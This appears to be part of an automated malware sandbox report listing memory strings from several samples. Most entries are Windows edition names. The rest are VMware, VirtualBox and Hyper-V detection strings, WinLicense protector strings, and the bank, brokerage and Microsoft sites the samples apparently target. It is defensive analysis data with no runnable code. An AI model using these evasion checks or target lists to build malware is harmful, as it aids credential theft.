Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 0000001C.00000002.3349004818.00000000022BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: 9fa327eb6c.exe, 00000015.00000002.2718500578.00000000025B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: vmware
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: RoamingIJEGHJECFC.exe, RoamingIJEGHJECFC.exe, 00000005.00000002.2283548107.0000000000533000.00000040.00000001.01000000.00000009.sdmp, userAAKKKEBFCG.exe, userAAKKKEBFCG.exe, 00000008.00000002.2309403161.000000000021F000.00000040.00000001.01000000.0000000B.sdmp, userAAKKKEBFCG.exe, 00000008.00000001.2247336233.000000000021F000.00000040.00000001.01000000.0000000B.sdmp, explorti.exe, explorti.exe, 00000009.00000002.2317563389.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, explorti.exe, 0000000B.00000002.2318335961.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, axplong.exe, 0000000F.00000002.2347284132.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000010.00000002.2347343665.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 00000013.00000002.3308623436.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, axplong.exe, 00000014.00000002.3309306166.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Hyper-V (guest)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.00000000007C6000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.00000000007C6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.00000000007C6000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.00000000007C6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.00000000007C6000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.00000000007C6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: RoamingIJEGHJECFC.exe, 00000005.00000002.2283548107.0000000000533000.00000040.00000001.01000000.00000009.sdmp, userAAKKKEBFCG.exe, 00000008.00000002.2309403161.000000000021F000.00000040.00000001.01000000.0000000B.sdmp, userAAKKKEBFCG.exe, 00000008.00000001.2247336233.000000000021F000.00000040.00000001.01000000.0000000B.sdmp, explorti.exe, 00000009.00000002.2317563389.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, explorti.exe, 0000000B.00000002.2318335961.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, axplong.exe, 0000000F.00000002.2347284132.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000010.00000002.2347343665.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 00000013.00000002.3308623436.0000000000793000.00000040.00000001.01000000.0000000C.sdmp, axplong.exe, 00000014.00000002.3309306166.00000000005CF000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2496187977.00000000027A8000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3323751000.0000000001158000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3323751000.000000000118D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp, 9fa327eb6c.exe, 00000015.00000002.2718500578.00000000025B8000.00000004.00000020.00020000.00000000.sdmp, 9fa327eb6c.exe, 00000019.00000002.2829021597.000000000272E000.00000004.00000020.00020000.00000000.sdmp, 9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002761000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959579682.000001B107486000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2909956595.000001B107486000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: 9fa327eb6c.exe, 00000019.00000002.2829021597.000000000270B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.2135139342.0000000028D0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: 8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000696000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000696000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
